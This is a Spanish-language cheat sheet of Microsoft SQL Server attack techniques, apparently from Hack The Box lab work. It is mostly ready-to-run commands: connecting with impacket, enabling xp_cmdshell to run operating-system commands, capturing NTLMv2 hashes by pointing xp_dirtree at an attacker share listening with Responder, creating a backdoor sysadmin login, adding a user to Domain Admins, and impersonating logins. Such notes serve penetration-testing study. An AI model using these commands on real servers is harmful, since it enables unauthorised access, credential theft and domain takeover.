MICROSOFT SQL SERVER ATTACKS

• Cuando logramos comprometer credenciales de un usuario de SQL Server, podemos realizar ataques adicionales para obtener acceso a la base de datos o ejecutar comandos en el servidor SQL.

Vectores de ataque

• SQL Injection: Si la aplicación web es vulnerable a inyecciones SQL, podemos utilizar esta vulnerabilidad para ejecutar comandos SQL arbitrarios y obtener acceso a la base de datos.

• SQLCMD: Herramienta de línea de comandos para interactuar con SQL Server. Permite ejecutar consultas SQL y scripts.

• xp_cmdshell: Procedimiento almacenado que permite ejecutar comandos del sistema operativo desde SQL Server. Si está habilitado, podemos ejecutar comandos de Windows directamente desde SQL Server.

Acceso mediante impacket e intento de RCE

• impacket-mssqlclient manager.htb/operator:[email protected] -windows-auth
• Enumerar directorios: SQL (MANAGER\Operator guest@master)> xp_dirtree

Habilitar xp_cmdshell

• EXEC sp_configure 'show advanced options', 1;
• RECONFIGURE;
• EXEC sp_configure 'xp_cmdshell', 1;
• RECONFIGURE;
• Entonces ahora: EXEC xp_cmdshell 'whoami';

Exfiltrar NTLMv2-SSP

• sudo responder -I tun0
• xp_dirtree \\10.10.14.34\share

Crear persistencia en MSSQL

• Crear un nuevo usuario con privilegios:

    CREATE LOGIN [pwned] WITH PASSWORD = 'pass';
    CREATE USER [pwned] FOR LOGIN [pwned];
    EXEC sp_addsrvrolemember 'pwned', 'sysadmin';
  

• Verificar el acceso:

    SELECT SYSTEM_USER, USER_NAME();
  

• EXEC xp_cmdshell 'net group "Domain Admins" manager\operator /add /domain';

Enumerar DBs

• enum_db
• USE <db>: Cambiar de base de datos
• SELECT name FROM sys.tables;
• SELECT name FROM sys.columns WHERE object_id = OBJECT_ID('dbo.<table>');
• SELECT COLUMN_NAME, DATA_TYPE FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = '<table>>';
• SELECT TABLE_SCHEMA, COLUMN_NAME, DATA_TYPE FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'sysauth';
• SELECT * FROM dbo.<table>;

Impersonar credenciales

• enum_impersonate: esto te va a dar posibles usuarios que podemos impersonar

execute as   database   permission_name   state_desc   grantee          grantor          
----------   --------   ---------------   ----------   --------------   --------------   
b'LOGIN'     b''        IMPERSONATE       GRANT        HAERO\services   hrappdb-reader   

• EXECUTE AS LOGIN = 'hrappdb-reader';
• SELECT SYSTEM_USER;: Para chequear

SQL (hrappdb-reader  guest@master)> SELECT SYSTEM_USER;
[%] SELECT SYSTEM_USER;
                 
--------------   
hrappdb-reader   

Herramientas utiles

• Impacket
• PowerUpSQL
• Metasploit exploit/windows/mssql/mssql_payload